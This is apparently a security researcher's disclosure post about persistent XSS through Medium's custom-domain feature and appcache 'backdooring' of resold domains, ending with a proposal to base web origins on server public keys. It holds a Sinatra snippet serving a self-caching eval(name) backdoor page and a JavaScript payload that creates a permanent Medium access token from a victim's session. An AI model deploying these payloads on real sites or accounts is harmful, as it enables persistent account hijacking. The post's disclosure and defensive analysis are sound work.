Persistent XSS for Medium accounts (or Backdooring Domains)

Let me explain persistent XSS-by-design I noticed in way Medium implements custom domains and then discuss domains backdooring problem in general.

You can’t have a custom domain for your personal Medium blog, but you can have one for your Publication (this is publication of SecureLogin).

I have never tested it, because to use this feature you need to pay $75 which I doubt any attacker will bother to pay. There’s no PoC, I just know it works.

So, let’s assume there’s hackernoon.com with following endpoints:

get '/bd.appcache' do
  response.headers['Content-Type']='text/cache-manifest'
  "CACHE MANIFEST\n/backdoor\n/bd.appcache"
end
get '/backdoor' do
  "<html manifest='/bd.appcache'><script>eval(name)</script>backdoor</html>"
end

Once you load https://hackernoon.com/backdoor to browser of your victims, eval(name) will be cached there forever. Yes, it’s persistent XSS, in a way.

The /backdoor page has Appcache manifest that caches /backdoor and manifest itself. It’s a closed loop, and there’s no way for the server to tell your browser to remove it (until Clear Site Data is implemented).

Then we pay $75 and get our blog added to their platform.

For example go to https://hackernoon.com/a-venture-capitalist-and-his-music-f61cc7d247b3 and click Sign In — you will be signed in instantly. medium.com just shared access to all features to hackernoon.com domain. Then we can load https://hackernoon.com/backdoor that is running under same origin and can do anything to victims’ Medium account…

Have a look at GLOBALS.currentUser, it’s like bleeding sensitive data

Twitter and Facebook access tokens in plain text on the client! That reminds me bug 4 from my OAuth Github trick.

We can send authorized requests from 3rd party domain hackernoon.com doing anything to your Medium account (plus read/write to Twitter/Facebook if you connected them) . Lets create permanent integration token (…Tokens grant publish access to your account and do not expire, so share carefully…)

x=new XMLHttpRequest;
x.open('POST','https://medium.com/_/api/users/'+GLOBALS.currentUser.userId+'/access-tokens',false)
x.withCredentials=1
x.setRequestHeader('Content-Type','application/json')
x.setRequestHeader('X-xsrf-token',GLOBALS.xsrfToken)
x.send('{"description":"backdoored"}')
alert(x.response)

Custom domains seems to be a popular feature by the way, here are startups using it (500*75=$35K):

https://docs.google.com/spreadsheets/d/105C1NvfpgBuv_SHsUDpDQzrp-e6z4pM44WiL2qBFpR0/edit#gid=0

The only mitigation I see:

Stop giving any power to 3rd party domains. Do not allow CORS requests from them. Any personal info must be shown in iframes from medium.com (that’s what Blogspot does).

Here’s response from Medium (I have no idea what they are talking about though):

Let’s talk about the real problem: Origins

Every time you buy a second hand domain (that was ever registered before) you are taking a risk of some /backdoor page that is cached in the browser of your users. Domain squatters could have spammed everyone with hidden iframe and app-cached a hidden eval(name) page in browsers of millions of users. You will never know!

Any domain, if used before, can be considered backdoored. There’s no way to make a fresh install (without Clear Site Data).

The root of this problem is Web Origins. They consist of Protocol, Host and Port. They intended to represent Identity of an application. So one couldn’t impersonate another one. We got it all wrong. Neither protocol nor port are unique or any important for website identity. It all depends on the domain, which as we can see can be sold to another person.

This architecture of origins also allowed DNS rebinding — a very serious problem people discovered many years ago which still remains ignored by all browsers. Domain may point to remote IP, load a malicious page with TTL=0, then point to 127.0.0.1 and voila, it’s same origin with your localhost! Hello printers and scanners! Routers, how’re you doing?

In my opinion best way to fix origins is to stop thinking in terms of protocol+host+port and use public keys instead. For non-SSL websites protocol+host+port+ip should be used (to prevent DNS rebinding)

E.g. facebook.com loads with this header:

public-key-pins-report-only:max-age=500; pin-sha256=”WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18=”; pin-sha256=”r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E=”; pin-sha256=”q4PO2G2cbkZhZ82+JgmRUyGMoAeozA+BSXVXQWB8XWQ=”; report-uri=”http://reports.fb.com/hpkp/"

It means Facebook is represented by 3 identities with hashes WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18, r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E and q4PO2G2cbkZhZ82+JgmRUyGMoAeozA+BSXVXQWB8XWQ

Once facebook.com responds with different public key, we consider it entirely new origin. Someone bought this domain and creates another app (or uses it for Medium)? /backdoor page cannot reach the new app origin as it was pre-loaded under different pubkey.

Recap:

  • Medium refused to fix persistent XSS. If you got spare $75, you can hijack their accounts
  • Origins are broken by design, proper web origins must consist of the public key of the server. Not of proprietary, centralized and changing-hands domain name. It would fix persistent XSS backdooring I mentioned and DNS rebinding as well.
  • Never rely on domains that were registered not by you. They could have preloaded malicious backdoor in users browsers. Even without appcache there’s always a distant probability of hacking users who never reload their browser.